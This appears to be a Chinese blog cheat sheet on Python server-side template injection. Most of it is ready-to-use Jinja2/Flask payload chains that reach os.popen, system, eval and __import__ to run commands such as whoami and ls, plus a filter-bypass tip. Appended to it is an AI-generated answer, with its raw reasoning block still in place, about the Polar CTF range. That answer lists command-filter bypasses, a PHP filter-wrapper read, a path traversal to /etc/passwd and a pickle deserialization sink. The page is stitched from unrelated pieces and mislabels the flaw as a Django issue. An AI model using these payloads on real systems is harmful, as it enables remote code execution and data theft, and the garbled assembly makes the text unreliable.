SSTI(python模板注入)整理

本文详细描述了在使用Django框架开发Web应用时,如何通过不规范代码利用攻击链来检测潜在漏洞,涉及eval、popen、__import__等函数的滥用,以及针对Flask和os类的多种利用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞成因

在使用django框架进行web应用设计时,不规范的代码使用。
常用的的dgango代码为:
在这里插入图片描述
还可以设置动态网址,
在这里插入图片描述

python使用的web框架可以使用以下方法进行测试

在这里插入图片描述

攻击链相关类的说明

1.构建父类

''.__class__()

2.构建obg子类

obj.__ bases__()[0]

3.寻找obj的子类

obj.__subclasses__()

使用1,2,3,就可以构建一个寻找函数的攻击链,然后利用返回函数,看是否有漏洞,具体语句为:

''.__class__.__bases__[0].__subclasses__()

4.寻找类的地址

# 输入类的名字
''.__class__.__bases__[0].__subclasses__()[k]
# 寻找类的地址
''.__class__.__bases__[0].__subclasses__()[k].__init__
# 寻找所有全局变量,函数名称的字典,格式为[name:地址或值]
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']
# 调用类的静态变量或者静态函数
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('ls').read()
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('ls')

构造攻击函数链

总结,找到eval、popen、__import__函数,就可以进行getshell
os类里面有popen函数
__builtins__里面有eval、__import__方法
flask内置方法

方法1:
直接调用popen函数,_wrap_close类里面有popen函数

''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

或者system函数
比如

''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['os'].system('dir')

方法2:
查找有无os的基类,如linecache

''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

对于os基类的寻找,可以使用下面代码:

for i,k in zip(range(len(''.__class__.__bases__[0].__subclasses__())),''.__class__.__bases__[0].__subclasses__()):
    try:
        if k.__init__.__globals__['os']:
            print(k)
            print(i)
    except:
        pass

方法3:
使用__import__函数手动导入了os类

''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()

方法4:
调用builtins类下的多个函数,比如eval和__import__(推荐:这里可以用的类比较多,使用方法2的代码进行查询)
这里以eval为例

''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

以__import__为例,推荐使用__globals__[‘builtins’][‘import’]的格式,直接使用.__import__本地会报错。

''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('dir').read()

方法5:
使用flask内置函数,其内置函数可以通过下面代码查看

{{self.__dict__._TemplateReference_context.keys()}}

然后可以简洁代码

# 存在漏洞的函数如下
lipsum、url_for、get_flashed_messages
# 存在漏洞的类如下
cycler,joiner、namesapce、config、request、session
# 函数利用方式如下
lipsum.__globals__['os'].popen('ls').read()
# 类利用方式如下
cycler.__init__.__globals__['os'].popen('ls').read()

{{}}过滤绕过

使用{% xxx %}即可

<think>好的,用户需要查找与Polar靶场相关的Web或SWP技术资料,特别是技术文档或使用教程。首先,我需要回忆之前提供的引用内容,看看有没有相关信息。引用[1]提到了Polar靶场通关笔记,涉及SSTI模版注入和Flask框架的分析,这可能与Web漏洞相关。引用[2]讨论了绕过过滤命令的方法,比如使用echo和passthru,这对Web题目可能有帮助。引用[3]是关于Reverse方向的题解,可能不太相关,但需要确认。 用户的需求集中在Web或SWP(可能是笔误,应为SSTI、SQLi、XSS等,或者特定术语)的技术文档。根据现有资料,引用[1]和[2]都涉及Web方向的解题技巧,尤其是绕过过滤和SSTI漏洞利用。需要将这些信息整合,提供具体的漏洞类型和解题思路,并建议查阅相关技术文章。 接下来要确保回答符合用户要求的结构,分步骤说明,并生成相关问题。同时注意引用标识的正确添加,比如在提到绕过过滤时引用[2],在SSTI部分引用[1]。可能还需要建议用户查阅其他资源,如官方文档或安全社区的内容,以补充现有引用中的信息。</think>### Polar靶场Web/SWP技术资料整理 根据已有资料,Polar靶场Web方向主要涉及以下技术点: 1. **SSTI(服务端模板注入)** - 在Flask框架中利用Jinja2模板引擎的特性,通过构造特殊参数实现代码执行,例如: `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` 需注意不同Python环境下的类继承关系差异[^1] 2. **命令执行绕过** - 当常用命令被过滤时,可用替代方案: ```bash echo%0a/etc/passwd # 空格绕过 {cat,flag.txt} # 花括号语法 base64<flag.txt # 重定向符绕过 ``` 执行函数可用`passthru`代替`system`,注意参数编码处理[^2] 3. **文件包含与路径遍历** - 尝试利用PHP伪协议: `php://filter/convert.base64-encode/resource=index.php` - 配合目录穿越读取敏感文件:`../../../../etc/passwd` 4. **反序列化漏洞** - 重点关注Java/Python的反序列化入口点,如: ```python pickle.loads(serialized_data) # Python反序列化点 ``` 需构造包含恶意__reduce__方法的对象链 §§推荐学习路径§§ 1. 先掌握基础Web漏洞原理(OWASP TOP 10) 2. 研究靶场提供的Docker环境配置(通常含`.env`文件) 3. 练习使用特殊编码绕过过滤:`${IFS}`代替空格、`%0a`换行符注入 4. 调试Jinja2模板渲染流程,使用`{{7*7}}`等测试表达式验证注入点[^1]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值